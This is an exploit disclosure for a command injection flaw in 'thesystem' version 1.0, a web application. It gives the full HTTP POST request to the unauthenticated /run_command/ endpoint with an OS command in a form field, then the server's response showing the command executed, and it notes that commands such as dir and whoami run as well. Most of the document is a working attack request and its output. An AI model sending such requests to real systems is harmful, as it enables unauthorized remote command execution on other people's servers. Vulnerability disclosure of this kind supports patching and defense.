thesystem 1.0 Command Injection

`# Exploit Title: thesystem Command Injection   
# Author: Sadik Cetin   
# Discovery Date: 2019-09-28   
# Vendor Homepage: [ https://github.com/kostasmitroglou/thesystem | https://github.com/kostasmitroglou/thesystem ]   
# Software Link: [ https://github.com/kostasmitroglou/thesystem | https://github.com/kostasmitroglou/thesystem ]   
# Tested Version: 1.0   
# Tested on OS: Windows 10   
# CVE: N/A   
# Type: Webapps   
# Description:   
# Simple Command injection after login bypass(login_required didn't used)   
  
POST /run_command/ HTTP/1.1   
Host: 127.0.0.1:8000   
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0   
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8   
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3   
Accept-Encoding: gzip, deflate   
Content-Type: multipart/form-data; boundary=---------------------------168279961491   
Content-Length: 325   
Connection: close   
Referer: [ http://127.0.0.1:8000/run_command/ | http://127.0.0.1:8000/run_command/ ]   
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.1.567905900.1569231977; _gid=GA1.1.882048829.1569577719   
Upgrade-Insecure-Requests: 1   
-----------------------------168279961491   
Content-Disposition: form-data; name="csrfmiddlewaretoken"   
7rigJnIFAByKlmo6NBD7R8Ua66daVjdfiFH16T7HxJrP43GhJ7m7mVAIFIX7ZDfX   
-----------------------------168279961491   
Content-Disposition: form-data; name="command"   
ping 127.0.0.1   
-----------------------------168279961491--   
  
HTTP/1.1 200 OK   
Date: Sat, 28 Sep 2019 09:42:26 GMT   
Server: WSGIServer/0.2 CPython/3.5.3   
Content-Length: 429   
Content-Type: text/html; charset=utf-8   
X-Frame-Options: SAMEORIGIN   
  
Pinging 127.0.0.1 with 32 bytes of data:   
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128   
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128   
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128   
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128   
Ping statistics for 127.0.0.1:   
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),   
Approximate round trip times in milli-seconds:   
Minimum = 0ms, Maximum = 0ms, Average = 0ms   
  
When I try to run following command, all commands run:   
dir   
whoami  
`